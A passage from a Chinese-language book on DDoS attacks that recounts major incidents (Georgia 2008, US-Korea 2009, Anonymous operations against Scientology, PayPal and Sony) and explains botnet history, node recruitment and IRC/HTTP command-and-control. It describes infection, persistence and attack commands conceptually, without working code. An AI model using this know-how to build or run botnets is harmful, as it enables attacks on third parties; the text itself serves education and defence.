阿塞拜疆新闻网站day.az声称，是俄罗斯情报部门通过代理实施了针对格鲁吉亚政府网站的DDoS攻击。但俄罗斯政府否认了这一指控，称这可能是某些个人行为。有人认为，是圣彼得堡的一个犯罪团伙——俄罗斯商业网（Russian Business Network）实施的攻击，因为正是他们在2007年攻击了爱沙尼亚（图1-10）。以色列的计算机应急响应小组的前首席Gadi Evron认为，这次攻击类似于网络暴乱，而不是网络战。Greylogic的安全研究人员则声称，俄罗斯国防部军事情报局和俄罗斯安全局（FSB）可能起到了关键作用，共同协调和组织了攻击。美国前情报官员John Bumgarner的研究结论是：第一波网络攻击是俄罗斯军事行动的一部分，而第二波则来源于对俄罗斯的同情者。
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图1-10　俄罗斯商业网

事实上，俄罗斯也遭受到网络打击。8月8日，一家俄文网站发布消息称，南奥塞梯政府官方网站和俄罗斯官方通讯社俄新社网站均受到DDoS攻击。俄新社记者纳塔利娅·洛谢耶娃在博客中写道，这是“非常严重的预谋行动，是信息战的一部分”。但她并未透露黑客攻击究竟来自哪个国家。8月11日凌晨，俄罗斯英文电视频道“今日俄罗斯”受到黑客的集中攻击，网站资源库被锁，随后出现技术故障。据该电视频道信息安全部专家透露，IP地址显示，黑客攻击来自格鲁吉亚首都第比利斯。


1.3.3　美韩政府网站遭攻击
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图1-11　2009年7月美韩受攻击网站

2009年7月4日，美国与韩国的政府及知名机构网站遭受了DDoS攻击。如图1-11所示，受害者包括美国和韩国议会、白宫、纽约证券交易所、华盛顿邮报等网站。 [19]


攻击分三个阶段进行，期间峰值流量高达13GB/s。大部分的攻击（93%）采用了HTTP GET FLOOD，其他主要是UDP FLOOD和ICMP FLOOD攻击。如图1-12所示，对恶意程序的静态分析显示，构造的数据是完全合法的HTTP GET请求。 [20]
 根据一份韩国的研究报告显示，大约115000台僵尸主机参与了攻击。 [21]
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图1-12　2009年7月攻击中的恶意程序片段

第一阶段：7月4日（美国独立日），攻击针对美国和韩国网站。受影响的网站包括白宫和五角大楼等网站。

第二阶段：7月7日，攻击针对韩国网站，目标包括韩国总统府青瓦台、国防部、公共管理和安全部、国家情报院和国民议会等。

第三阶段：7月9日，攻击针对韩国网站，目标包括该国的国家情报服务，以及其最大的银行之一和主要的新闻机构。美国国务院声称其网站也受到了攻击。

2009年10月30日，韩国国家情报局声称，攻击源来自朝鲜邮电部。

2011年3月4日，类似的攻击又发生了一次。韩国政府各部、国民议会、军队总部、驻韩美军和各大银行等29个机构受到影响，韩国的网上股票交易系统也被关闭数分钟。 [22]



1.4　普及化：黑客行动主义

分布式拒绝服务攻击的普及化是一个必然的趋势。十年的发展中，相关工具越来越易用，越来越高效。而网络的便利使得获取该工具变得异常容易。

同时，通信技术快速发展，使得信息以前所未有的高速流动，这带来了一个意想不到的后果，那就是世界上各人种、各种族和国家中普通人的一般价值观越来越趋向一致。违反这些价值观的行为（通常也是违反当地法律的），一般会受到制裁。但是，总有一些组织或势力，可能是宗教团体、跨国公司，甚至国家政权，不会受到制裁。例如本节中提到的山达基教会、索尼公司和美国政府。

当分布式拒绝服务攻击实现了普及化，同时网络中存在对这些组织行为不满的群体时，产生的结合物就是黑客行动主义。他们是有类似价值观的人群，有类似于自由集会的组织形式，对某些现象不满而渴望发出声音。于是，分布式拒绝服务攻击成了他们最好的选择。


1.4.1　匿名者挑战山达基教会

2008年1月15日，博客网站Gawker发布了一段视频：著名影星汤姆·克鲁斯声称要将自己完全奉献给山达基教会（Church of Scientology）。随后，视频在网上快速流传，并引来大量恶搞模仿。 [23]
 对此，山达基教会警告，准备把发布或共享视频的用户诉诸法律。
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图1-13　匿名者的标志

1月23日，匿名者组织（图1-13）在YouTube上发布宣言，对山达基教会宣战。27日，匿名者成员声称，这次行动的目的是反对山达基教会企图控制互联网信息，而不是反对教会本身。 [24]


最初他们使用Gigaloader和JMeter作为武器进行攻击。几天后，就开始使用被称为低轨道离子炮（LOIC）的网络压力测试工具，发送大量TCP和UDP数据包阻塞网络。之后的几年中，这几乎成了“匿名者”的标志性武器。

其间，一段视频被上传到YouTube，一个机器人的声音声称代表匿名者告诉山达基教会领袖：“为了你的追随者好，为了全人类好，以及为了好笑，我们会将你驱逐出互联网。”十天之内，该视频就吸引了数以千计的观众。2月10日，成千上万的匿名者在世界各地同时抗议山达基教会（图1-14），许多抗议者带着电影《V字仇杀队》中的面具。这个面具很快就成了匿名者组织的代表符号。之后个人自发的抗议持续了整整一年。 [25]
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图1-14　山达基教会总部外的抗议者

这次事件是“匿名者”（Anonymous）第一次参与黑客行动主义。从此之后，它就成为了该主义最主要的奉行者。


1.4.2　维基解密事件

维基解密（Wikileaks）是一个专门披露秘密信息的非营利组织，2006年12月由朱利安·阿桑奇（图1-15）创立。该组织的主要目的是揭露政府及企业的腐败行为，运营费用主要依靠捐助者以及基金会的支持。 [26]
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图1-15　朱利安·阿桑奇

2010年7月26日，“维基解密”在《纽约时报》、《卫报》和《镜报》配合下，在网上公开了多达9.2万份的驻阿美军秘密文件，引起轩然大波。12月4日，美国网络支付处理商PayPal宣布，由于维基解密网站违反公司的服务政策，因此决定停止其账户和服务，这意味着维基解密将无法通过PayPal获得资金。PayPal副总裁表示，他们停止服务是在“国务院告诉我们，这些都是非法活动，这是很明显的”之后。紧接着，许多企业停止为维基解密提供服务，或是冻结对其的捐款，这些企业包括亚马逊、美洲银行、瑞士邮政银行、万事达和Visa。 [27]


2010年12月5日，黑客组织Anonymous发表宣言，将正在进行的“回报行动”（Operation Payback）扩展为“阿桑奇复仇行动”（Operation Avenge Assange），向维基解密提供帮助并打击它的敌人。 [28]
 12月6日，瑞士邮政银行（PostFinance）首先遭到攻击。12月8日，Anonymous对PayPal的主网发动了攻击，却发现低轨道粒子炮（LOIC）无效。他们只得依靠两名黑客控制的僵尸网络进行攻击。据有关研究人员声称，这些僵尸主机最终贡献了90%的攻击流量。据Paypal估计，造成了550万美元的损失。后来，Paypal向联邦调查局提供了1000个攻击者的IP地址，导致至少14人被捕。如表1-2所示，万事达、Visa、亚马逊等企业也接连成为攻击目标。

表1-2　本案中受到攻击的网站
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攻击者使用的工具主要是低轨道粒子炮（LOIC）的修改版本，主要添加了被称为“蜂巢意识”（Hive Mind）的模式，这使得远程控制LOIC成为可能。


1.4.3　索尼信息泄露案

2011年1月11日，游戏厂商索尼公司对乔治·霍兹（George Hotz）等人提出起诉，罪名是违反了《数字千年版权法案》（Digital Millennium Copyright Act）和《计算机欺诈与滥用法案》（Computer Fraud Abuse Act）。这场官司的起源，是乔治·霍兹破解了索尼著名的游戏机PS3，用户无须付费就可以运行各种破解的游戏。2011年3月6日，法院批准索尼公司得到所有访问霍兹博客的IP地址，包括破解程序的下载者地址。 [29]
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图1-16　Anonymous对索尼公司的宣战

2011年4月3日，黑客组织Anonymous入侵了索尼的一个网站，并在上面留言（图1-16），声称索尼公司的行为侵犯了数以千计无辜者的隐私，所以对其宣战，并称之为“索尼行动”（OpSony）。 [30]
 4月14日，索尼公司多台服务器遭受DDoS攻击而宕机，攻击者使用的工具主要为低轨道粒子炮（LOIC）。4月19日，索尼雇员发现130台服务器“非计划重启”。4月20日，索尼发现发生了用户数据失窃事件，并决定暂停PSN（PlayStation Network）网络。对索尼公司而言，用户数据泄露可能造成的损失远超过DDoS攻击，因为公司保存了大量用户的信用卡信息，可能危及到用户个人的银行账户安全。

4月21日之后，索尼公司开始聘请专业安全公司进行取证调查，甚至邀请FBI协助。5月4日，美国众议院能源和商业委员会（The House Committee on Energy and Commerce）举行了听证会，索尼公司拒绝出席，但送去了一封信说明事件的发生情况。索尼称，数据窃取发生在4月16日至4月17日，1.2万个用户信用卡号码和2470万用户信息被盗。索尼公司没有明确指出DDoS攻击与数据窃取之间存在协同，但两者基本在同时发生。Anonymous之后否认参与了这次数据窃取，并发布了一份新闻稿：“这一次，我们没有做。” [31]
 6月2日，另一个知名黑客组织LulzSec声称入侵SonyPicture网站成功，并获取了100万用户的信息。

索尼公司的股价从1月11日的36.36美元，一路下降到6月20日的24.28美元。根据该公司3月31日公布的财务状况，当时的各种损失估计为14亿日元（1.71亿美元）。而VERACODE的一份分析则认为，最终的总损失将高达240亿美元。 [32]


事后，索尼承认，他们对信用卡号进行了加密，但对其他用户信息并未做加密处理。 [33]
 窃取用户数据的攻击者身份，至今依然未被发现。Anonymous只承认进行了DDoS攻击，宣称并未窃取数据；而LulzSec只对SonyPictuire的入侵负责。FBI曾猜测是两个组织的配合行动，但并无证据支持。

通常情况下，攻击者的目的可以分为两类，一类是控制与窃取信息，另一类是破坏。DDoS攻击通常用于后者。而这次事件的特点是，DDoS被当成了一种掩护行动。无论入侵者是谁，他都很“巧妙”地利用了Anonymous的攻击来吸引索尼安全团队的视线，使得自己的行动更不容易被发现。这种方式也许会在今后成为一种常用的伎俩。


1.5　小结

本章按照时间顺序介绍了个人黑客的攻击、有组织犯罪、网络战以及黑客行动主义。随着技术的发展，DDoS攻击不断出现新的形式，但这并不意味着旧的形式会就此绝迹。时至今日，依然有一些黑客愿意独自行动，网络战也必定会再次爆发。未来并不确定，希望我们至少能从历史中吸取教训，避免重蹈覆辙。
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第2章　DDoS攻击的来源

“敌人知我之情，通我之谋，动而得我事，其锐士伏于深草，要隘路，击我便处，为之奈何？”


——《六韬·临境》


分布式拒绝服务攻击不会凭空产生，而是有其特定的来源。绝大部分的分布式拒绝服务攻击都是从僵尸网络（Botnet）产生的。

什么是僵尸网络呢？在描述它之前，需要先解释什么是僵尸程序（Bot）。僵尸程序是组成僵尸网络的基础，它通常指可以自动地执行预定义功能，可以被预定义的指令控制的一种计算机程序。僵尸程序不一定都是恶意的，但在僵尸网络中的僵尸程序都是设计用来完成恶意功能的。

实际上，僵尸网络并没有规范而确切的定义。数量庞大的僵尸程序通过一定方式联合，就可以组建成为僵尸网络。僵尸网络一般指僵尸主人（Botmaster）出于恶意目的，传播大量僵尸程序，并采用一对多方式进行控制的大型网络。僵尸网络是在网络蠕虫、木马、后门等传统恶意代码形态的基础上发展并融合而产生的一种复合攻击方式。

因为僵尸网络中的僵尸主机数量往往非常庞大而且分布广泛，所以相比于其他恶意程序，僵尸网络的危害程度和防御难度往往更大。从表2-1的对比结果来看，虽然僵尸和其他恶意代码有一些相似的地方，但它作为新的恶意代码类别，也有其自身的一些特点。

僵尸网络的一个特点是，控制者和僵尸程序之间存在一对多的控制关系。这种控制具有高度可控性，在僵尸主机采取行动时，不需要控制者登录该主机操作系统。

表2-1　常见恶意代码特性比对
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僵尸网络的另一个特点是，控制者在发布指令后，就可以断开与僵尸网络的连接。之后，控制指令会在僵尸程序之间自行传播和执行。因此，僵尸主机能够在控制者很少或不插手的情况下协同合作，共同完成一项任务。

为了使读者对僵尸网络有更直观的认识，图2-1给出一个僵尸网络简化后的拓扑示意图。
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图2-1　简化的僵尸网络拓扑

本章将对作为分布式拒绝服务攻击主要来源的僵尸网络进行详细介绍。


2.1　僵尸网络的发展

僵尸网络是随着自动智能程序的应用而逐渐发展起来的，从良性僵尸网络的出现到恶意僵尸网络的实现，从被动传播到利用蠕虫技术主动传播，从使用简单的IRC协议构成控制信道到复杂多变的对等网络（Peer-to-Peer，P2P）结构的控制模式，僵尸网络逐渐发展成规模庞大、功能多样且不易检测的恶意模式，给当前的网络安全带来了不容忽视的威胁。

本节首先简单回顾僵尸网络的演化历史，并根据僵尸网络发展的状况讨论其发展趋势。之后，会对世界上一些知名的僵尸网络进行简要的介绍。


2.1.1　演化和发展趋势

僵尸网络的历史渊源可以追溯到1993年因特网初期的中继聊天（Internet Relay Chat，IRC）网络中出现的Bot工具——Eggdrop，这是一种良性Bot。它的实现初衷是能够自动地执行如防止频道被滥用、权限管理、频道事件记录等一系列功能，从而帮助IRC网络管理员更方便地管理这些聊天网络。

受到良性Bot工具的启发，黑客开始编写僵尸程序对大量的受害主机进行控制，以利用这些主机资源达到恶意目的。1999年6月，在因特网上出现的PrettyPark首次使用了IRC协议构建命令与控制信道，从而成为第一个IRC僵尸网络。之后，IRC僵尸网络层出不穷，如在mIRC客户端程序上通过脚本实现的GT-Bot、开源发布并广泛流传的Sdbot、具有高度模块化设计的Agobot等，这使得IRC成为当时构建僵尸网络命令与控制信道的主流协议。

随着僵尸网络防御技术的不断演进，僵尸网络的传播和组建受到了一定遏制，黑客为了让僵尸网络更具隐蔽性和抗打击性，开始不断地尝试对其组织形式进行创新和发展，相继出现了基于超文本传输协议（HyperText Transfer Protocol，HTTP）及P2P协议构建命令与控制信道的僵尸网络。例如，专注银行窃密的Zeus采用的是HTTP，而主机感染数庞大的Zeroaccess僵尸网络则采用了P2P协议。

僵尸网络的演化过程如图2-2所示。
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图2-2　僵尸网络的演化

随着防御方安全方案的不断推出以及国家有关网络安全法规的不断完善，僵尸程序和僵尸网络在发展过程中也出现了一些调整，这些调整体现出了僵尸网络的发展趋势。

（1）基于IRC的僵尸网络逐渐减少

基于IRC协议的僵尸网络最早出现，曾一度被作为僵尸网络的代名词。安全人员对这类Botnet的研究最早、也最多，相应的有效的检测手段也越来越多。目前，越来越多的僵尸网络不再使用IRC协议，转而使用HTTP或P2P协议进行通信和控制。

（2）控制国内僵尸主机的命令与控制服务器被逐步移到国外

伴随着国内网络安全立法的不断完善，黑客发动攻击被逮捕的风险不断加大，迫使越来越多的黑客将服务器放置于国外。图2-3是国内安全厂商绿盟科技发布的《2012绿盟科技威胁态势报告》 [1]
 中根据检测到的控制端所在地绘制的分布图。
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图2-3　C&C服务器分布

（3）僵尸网络在攻防对抗中引入了更多的先进技术，使其更加难以检测

例如，在最新版本的僵尸程序Zeus中，引入了P2P模块进行通信，而一旦P2P网络节点无法连通，则使用域名产生算法（Domain Generation Algorithm，DGA）产生随机域名与C&C进行通信。通信数据则采用数字签名校验，以阻止越来越流行的由安全机构实施的sinkhole技术。通过使用这些先进技术，僵尸网络的隐蔽性和抗打击性有了显著提高。

（4）互联网数据中心托管服务器成为热门感染目标

众所周知，服务器主机性能和配置一般较好，具有更多的资源可以被僵尸程序和僵尸网络使用。因此，这些托管服务器正逐渐成为僵尸程序新的感染目标。

（5）单个僵尸网络的规模减小，绝大部分僵尸主机数都少于1000台

图2-4是2011年国家互联网应急中心 [2]
 （CNCERT/CC）监测统计的僵尸网络规模分布图，可以看出小规模的僵尸网络占据主流。
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图2-4　僵尸网络规模分布


2.1.2　知名僵尸网络

在世界范围内，存在着一些知名的僵尸网络，本节对这些僵尸网络进行简要的介绍，使读者能够了解目前僵尸网络的现状。为了使描述更直观，我们对每一个僵尸网络都从感染度、收益度、知名度和生命力四个方面给出了评分，并综合给出这个僵尸网络的总体危害程度。先对上述各项解释如下。

·感染度：
 僵尸程序感染的主机数量，也包括被感染主机地域上的分布。主机感染量越大，地域分布越广泛，分值越高。

·收益度：
 指通过此僵尸网络获得的收益。收益值越大，分值越高。

·知名度：
 在全球范围的影响，这包括其是否开源以及是否被各大媒体广泛报道等。曝光度越高，分值越高。

·生命力：
 特指其存活能力，也可以理解为抗打击性。生命力越强，存活时间越久，分值越高。

·危害度：
 前四项的平均值（四舍五入为整数），表示这个僵尸网络总体的危害程度。

1.ZeroAccess
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ZeroAccess出现于2011年，是最为知名、目前最为活跃的僵尸网络之一。它采用先进的rootkit来隐藏自身，使用业界流行的模块化设计，通过创建隐藏文件夹，下载存储指定的功能模块并执行。通信协议采用P2P架构使其具有极强的抗打击性。全球主机感染量在100万～200万台之间，其主收入来源为“点击欺诈”，曾经还通过比特币挖掘获益，预计一天收入为10万美元左右。

2.Zeus
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Zeus是历史上最能赚钱的僵尸网络之一，2007年首次被发现。Zeus主要用于监控受害者机器，记录用户的击键以窃取银行账户信息。犯罪分子可以从用户的账户中将钱转出，利用用户的银行卡购物等。控制服务器控制僵尸网络的运行，并对僵尸网络发布命令。截止到本书发稿，其偷取的金额达数百万美元之巨。2011年Zeus源码泄露，致使其变种爆炸式增长，更有黑客为其添加P2P模块，对互联网的危害很大，影响深远。

3.Pushdo/Cutwail
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Pushdo本身是一个“装载器”，可以下载其他组件安装在系统中，最初发现于2007年。Pushdo可以为客户定制安装特定恶意软件，根据每个安装来收取费用。在Pushdo进入被感染的电脑系统后，通常会下载垃圾邮件程序Cutwail。Pushdo使用Cutwail来完成自我复制，从而不断扩大其僵尸网络，也可通过Cutwail租出垃圾邮件服务。Pushdo/Cutwail僵尸网络发送的垃圾邮件内容很杂，包括医药产品、网络赌博、网络钓鱼邮件以及链接到包含恶意代码网站的邮件。感染了大约10万台主机，在Storm被摧毁后，它成为了最大的垃圾邮件僵尸网络。控制者从中可能获得了170万～420万美元的收益。

4.Mariposa
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Mariposa又被称为“蝴蝶”僵尸网络，主要用于窃取信用卡和其他有价值的数据以及DDoS攻击等，目前已被西班牙当局摧毁。这个僵尸网络从2008年出现，随后迅速蔓延到了全球190多个国家和地区，受到Mariposa影响的电脑超过1000多万台，超过一半的全球1000家最大公司和至少40家大金融机构的电脑被感染，目前还无法估算其造成的损失。

5.Waledac
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Waledac僵尸程序主要以发送垃圾邮件而著称，Waledac僵尸网络所使用的控制服务器大多位于德国、荷兰、瑞典和俄罗斯等欧洲国家，控制了全球数十万台计算机，预计每天能发出超过15亿封垃圾邮件。在2010年的中、美、欧联手打击下，Waledac僵尸网络日渐衰弱。不过，2012年的监测信息显示，它有重新抬头的迹象。由其造成的损失还不得而知。


2.2　僵尸网络的组建

无论多么庞大的系统，都是由一个个具体的元素组成的，僵尸网络也不例外。我们在讨论系统的组建时，一般会讨论两个方面——“组成系统的元素都是什么”以及“这些元素是如何相互联系起来的”。对于僵尸网络来说，则分别对应着僵尸网络的节点和控制方式。本节会对这两个方面分别进行介绍。


2.2.1　节点

僵尸网络由大量功能节点共同组成，这些节点可能是普通PC、服务器或者移动设备（见图2-5）。

这三种节点分别有其各自的特性，下面依次进行介绍。

误区：DDoS攻击都来自PC组成的僵尸网络

“DDoS攻击都是由僵尸网络发起的”，这几乎是一个安全领域的“常识”。然而，事实并非如此，至少并不完全是由PC组成的僵尸网络发起的。

随着技术的进步，服务提供商所使用的高性能服务器在处理性能和带宽方面快速提升，而传统的由PC组成的僵尸网络却发展缓慢。除了处理能力方面的因素外，PC通常只有非常有限的带宽资源，而可供利用的时间也很不确定。于是，一些“黑客”开始把目光移向高性能服务器，在“燕子行动”中，他们就这样做了。

此外，黑客组织Anonymous更喜欢组织众多真实的参与者共同发起攻击，我们也称其为“自愿型僵尸网络”。
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图2-5　僵尸网络节点构成

1.普通PC

由于普通个人计算机（Personal Computer，PC）经历了数十年的发展，数量庞大，而且安全性参差不齐。利用普通PC作为节点组建僵尸网络依然是最主流的方法。

通常，僵尸程序将一台普通PC变成僵尸网络的节点，一般要经历四个步骤（见图2-6），即感染传播、安装执行、接入僵尸网络以及命令执行。
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图2-6　僵尸网络组建步骤

（1）感染传播

僵尸程序所用的感染传播手段与其他恶意程序（蠕虫、木马、后门等）类似，通常包括带有欺骗性质的电子邮件、网页挂马、自动化的漏洞扫描、即时通信、内网的文件共享和移动存储感染，以及最新出现的网络存储与共享等。它在传播形式上有主动出击型的，如自动化的溢出漏洞攻击，也有被动等待型的，如网页挂马。通过上述手段，僵尸程序就极有可能感染那些没有防护措施或防护措施弱的普通PC，进而将其发展成为僵尸网络中的一员。

（2）安装执行

僵尸程序一旦在受害主机上执行，就会进行一系列的自我复制、实现自启动以及隐藏等行为。通常僵尸程序会将自身复制到系统特定的目录下并设置其隐藏属性，部分程序还会修改文件生成时间，创建或修改注册表以保证程序开机自启动，如服务创建等。为了避免侦测，多数僵尸程序都进行了免杀处理，并采用远程代码注入的方式，以免产生新进程。基于上述手段，僵尸程序将可以在受害者主机上做到长期安全稳定地运行。

（3）接入僵尸网络

当僵尸程序在受害者主机上完成各种安装和隐藏后，便通过解析内置的域名和端口进行通信，构建C&C通道加入僵尸网络，而这大多是通过发送搜集的被感染系统主机信息开始的。

（4）命令执行

接入僵尸网络的僵尸程序将执行Botmaster预先设置好的指令，如对特定目标发动DDoS攻击等。在没有收到指令时，僵尸程序会静静等待（这时用Wireshark捕获可见大量的保活数据包），直到Botmaster有指令下发为止。

通过上面的四个步骤，一台普通PC就变成了任人宰割的僵尸主机（又称“肉鸡”），也成为黑客攻击或再入侵的跳板。

事实上，随着网络犯罪独有系统的完善，已经出现了“肉鸡”销售服务，上述过程也得到了大大简化。图2-7是这种服务的一个广告截图。
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图2-7　“肉鸡”销售广告

“肉鸡”的价格如下：每1000台“肉鸡”，俄罗斯200美元/天，英国240美元/天，美国180美元/天，法国200美元/天，加拿大270美元/天，国际混合35美元/天，每天限量供应2万台。这种服务的出现使得组建僵尸网络的门槛大为降低，甚至能够让新手迅速实施一个复杂、精密的网络攻击活动。

普通PC是最基本的僵尸网络节点，对普通PC的感染和控制技术已经非常成熟。许多攻击者能够快速地利用普通PC组建僵尸网络并展开攻击。

2.服务器

目前，普通PC依然是组成僵尸网络的主要部分，但是将服务器作为节点、组建僵尸网络正逐渐引起攻击者的兴趣。

与普通PC相比，服务器具有高性能、大带宽、长时间持续在线等特点，这些特点使服务器更具有作为僵尸网络节点的优势。

首先，服务器具有比普通PC更高的性能，通常，一台服务器的性能相当于几十台甚至上百台普通PC的性能，因此，可以利用服务器僵尸主机的高性能和高并发性，快速地构造并发出大量复杂请求。

其次，服务器通常具有更大的网络带宽，普通PC的网络带宽通常为几十兆至数百兆，而服务器的网络带宽通常为数吉比特每秒，利用服务器僵尸主机进行DDoS攻击，可以发出极大的攻击流量。

最后，服务器通常需要长期在线，大部分的服务器都需要保证7×24小时的可用性，一旦攻击者将这些服务器作为僵尸主机控制，就能够随时迅速地发动持续的DDoS攻击。

服务器的安全性通常会比普通PC高很多，一般无法通过感染、网页挂马等方式植入僵尸程序，这使得利用服务器组建僵尸网络的成本大大增加，但是由于服务器攻击威力大、效果明显，攻击者还是愿意花费一些成本尝试控制服务器。由于Web服务器在互联网上广泛存在，因此攻击者通常愿意选择Web服务器作为目标。

控制Web服务器并植入僵尸程序的方法主要是利用Web应用和服务器组件的安全漏洞进行入侵。由于Web服务的灵活多样性，即便是及时保持更新并且配置良好的Web应用和服务器组件，也依然可能存在安全漏洞，攻击者可以利用如内容管理系统（Content Management System，CMS）等Web应用的漏洞上传脚本后门程序，甚至利用服务器组件的漏洞完全控制整台服务器。

在从2012年下半年开始的针对美国银行和金融机构进行的DDoS攻击“燕子行动”中，攻击者就使用了主要由服务器组成的僵尸网络Brobot进行攻击。Brobot僵尸网络主要是由植入了itsoknoproblembro（哥们儿没问题）工具的僵尸主机所组成的，itsoknoproblembro通过WordPress、Joomla等Web CMS的漏洞植入到Web服务器上，并向index.php文件注入加密的代码，以允许攻击者随时上传新的Perl脚本代码。由于使用Web服务器作为僵尸主机，每台僵尸主机发出的攻击流量非常大，并且能够同时进行多种不同方式的攻击，因此这次行动对美国银行和金融机构的网络服务产生了比较大的影响。

如果将普通PC僵尸节点造成的威胁比作步枪的话，那么服务器僵尸节点造成的威胁就更像是重机枪。虽然这些重武器成本高、数量少，但是一旦拥有，打击的效果就会显著提高。

3.移动设备

随着移动互联网的飞速发展，利用移动设备作为僵尸节点来组建僵尸网络正逐渐成为现实威胁。

从计算能力和网络带宽来看，移动设备正逐渐接近甚至超越普通PC。当前主流的移动设备的CPU都达到了双核1GHz以上的运算速度，RAM容量也都在1GB以上，这些计算性能对于用来发动攻击的僵尸程序来说是绰绰有余的。同时，与2G网络相比，现有的3G网络在数据传输速度上有了很大的提升，其下行速度可以达到2Mbit/s以上，上行速度可达384Kbit/s以上，部分国家和地区的运营商已经部署了实用的3.5G（下行速度14Mbit/s，上行速度5.8Mbit/s）甚至4G（下行速度1Gbit/s，上行速度500Mbit/s）通信网络，这些高速网络已经能够用于发动攻击。

与服务器类似，移动设备的一些特性使得利用移动设备组件的僵尸网络具有一定的优势。移动设备数量众多，并且依然在飞速增长。以Android和iOS设备为例，根据官方给出的数据，Android设备已经超过9亿台，iOS设备的数量也已经超过了6亿台，而移动设备的增长速度远远超过PC的增长速度，因此，移动设备的数量将很快超过PC数量，利用移动设备可以组建十分庞大的僵尸网络。另外，与PC相比，移动设备在线的时间更长。人们在PC上完成工作之后，通常会将PC关机或者让其休眠，但是移动设备，尤其是智能手机则完全不同，使用者为了保持通信通畅，会使移动设备保持待机状态并维持网络连接，甚至会持续数天没有关机或重启操作。与服务器组成的僵尸网络类似，攻击者能够随时控制这些移动设备，迅速地发动持续的DDoS攻击。

与普通PC相比，移动设备的安全防范较差，更容易成为僵尸主机。现有的移动设备主要有Android和iOS两大平台。由于操作系统和生态环境的开放性等原因，Android设备很容易被植入恶意代码成为僵尸主机；iOS设备相对比较封闭，但进行越狱后依然能够从第三方源安装程序，存在成为僵尸主机的可能。向移动设备植入僵尸程序主要是通过应用捆绑和诱骗安装的方式进行。

出于免费或方便等考虑，许多用户会从第三方市场或论坛下载和安装应用。然而，第三方市场和论坛所下载的应用的安全性无法得到保证。第三方市场和论坛中经常会使用付费应用的破解版本或免费应用的去广告版本吸引用户下载并安装，这些应用有可能是攻击者植入了恶意代码的应用。攻击者将官方应用破解拆包，植入恶意代码并申请权限后重新打包，之后提交到第三方市场或论坛进行分发。当用户被这些破解版或去广告版所吸引，下载并安装这些应用后，就成为了受控制的僵尸设备。除了Android设备，越狱后的iOS设备也能够通过Cydia从第三方源处安装各种软件包，修改系统设置，这为僵尸程序的入侵打开了大门。

除了应用和应用市场方面的问题，更重要的是移动设备的用户没有较强的安全意识。人们在使用PC时，大部分都会安装和使用杀毒软件、防火墙等安全防护软件对PC进行安全保护。但在使用移动设备时，却并没有意识到这些移动设备也需要进行安全防护，只有一少部分用户会在智能设备上安装安全防护软件。此外，部分移动设备用户在安装应用时不考虑应用的来源，也不仔细查看应用申请的权限就确认安装，这些用户的移动设备很容易被恶意应用控制并被加入到僵尸网络之中。

事实上，移动设备与普通PC没有本质上的区别。曾经在PC上被广泛使用进行DDoS攻击的LOIC工具，已经被移植到了Android平台（见图2-8）。可以预测，随着移动设备的计算能力、网络带宽和数量的不断增长，以及移动平台本身安全性和用户安全意识薄弱等问题的逐渐显现，由移动设备作为节点组成的僵尸网络将会在未来不断增加，甚至超过普通PC僵尸网络的数量。
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图2-8　Android平台下的LOIC工具


2.2.2　控制

僵尸网络最早通过IRC通信协议进行控制。随着攻防对抗的升级，通信协议由简单的IRC向HTTP甚至更复杂的P2P进化。通信协议变化的同时，僵尸网络在网络拓扑结构上也有了很大调整，主要体现在C&C控制信道从单一中心向分散方向发展，由一个C&C服务器向多个C&C发展，更进一步地发展为P2P模式。僵尸网络正变得更加复杂，更具有抗打击性。

三种僵尸网络控制方式的规模和优缺点如表2-2所示。

表2-2　僵尸网络控制模式比对
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本节会介绍IRC、HTTP和P2P这三种僵尸的控制形式。

1.IRC型僵尸网络

IRC型僵尸网络是出现最早、存在数量最庞大的僵尸群。它最大的特点是利用IRC协议构造命令与控制信道，交互性好，容易创建。采用一个服务器能轻易创建和控制多台僵尸主机。

IRC型僵尸网络常见的拓扑结构如图2-9所示。

可以看出，无论是僵尸主机还是Botmaster都必须与C&C服务器进行通信，但两者的通信目的稍有不同。僵尸主机与C&C服务器通信主要是为了接收指令、反馈执行结果以及汇报工作状态等；Botmaster与C&C服务器通信的目的通常是发送控制指令和分类管理。

（1）僵尸主机与C&C服务器之间的通信

首先，僵尸程序执行后，会解码内置的配置信息以获取C&C服务器域名及端口号，并与其建立三次握手连接；然后，僵尸程序会发送NICK和USER命令，而NICK通常有固定的前缀，加入预定义频道（大多数都要求提供频道密码方能进入）；最后，在完成上述步骤后，僵尸程序会进入PING/PONG状态等待接收指令。
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图2-9　IRC型僵尸网络

上述步骤对应的数据包如图2-10所示。
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图2-10　IRC僵尸主机通信

（2）Botmaster与C&C服务器之间的通信

Botmaster首先需要认证自己，即被频道内的所有僵尸主机接纳，往往采用口令的认证机制，即Botmaster先发送认证命令给C&C服务器，C&C服务器将消息转发给频道内所有僵尸主机。

频道内僵尸主机收到消息后，会比较收到的密码和自身硬编码的密码，判断Botmaster是否合法，同时判断Botmaster所用控制端软件版本及主机域名是否可信。

如图2-11所示，Botmaster的自我认证成功了。
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图2-11　Botmaster认证

在认证通过后，Botmaster就可以发送控制命令了。Bot的命令通常设置为“.”（如.synflood），IRC已有命令以“/”开始，控制命令不能和IRC已有命令冲突。除普通命令外，还可以改变频道TOPIC通知，使频道内（不管是频道内已有的还是后来加入的僵尸主机）所有僵尸主机都能收到此消息，做到命令的自动执行。图2-12所示为下发SYN FLOOD攻击命令。
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图2-12　启动SYN FLOOD攻击

截获的攻击数据包见图2-13。
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图2-13　SYN FLOOD攻击数据包

从上面的介绍可以看出，通过IRC进行僵尸网络的控制相对比较容易，而且能高效地分发控制者命令。

但这种控制方式存在一些不足，最主要是单点失效问题，即一旦中央服务器被关闭，僵尸程序会因失去与C&C服务器的通信而灭亡。此外，防御方可以利用逆向得出的配置信息，将自己伪装成为IRC僵尸网络中的一员，加入特定的频道，从而达到监视整个僵尸网络的目的。这也成为IRC控制的僵尸网络越来越不被看好的主要原因。目前，通过IRC进行控制的僵尸网络多见于国外，在国内并不多见。

2.HTTP型僵尸网络

通过HTTP进行控制的僵尸网络在国内出现得比较多，这种僵尸网络规模往往不大，但攻击活动却异常频繁。

HTTP型僵尸网络常见的拓扑结构如图2-14所示。
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图2-14　HTTP型僵尸网络

相比于IRC型僵尸网络，HTTP型僵尸网络在端口选择上以及通信的加解密方面有更大的灵活性。IRC型僵尸网络需要考虑隐藏性与稳定性，因此控制者多会借助于网络公有IRC服务器，这些服务器的端口往往是固定的，也就间接地决定了整个IRC型僵尸网络的通信端口是不可改变的。而HTTP型僵尸网络则有所不同，虽然大多数HTTP型僵尸网络的通信端口默认选择80，但由于C&C服务器多由控制者搭建，端口的设定可以由控制者自由决定。

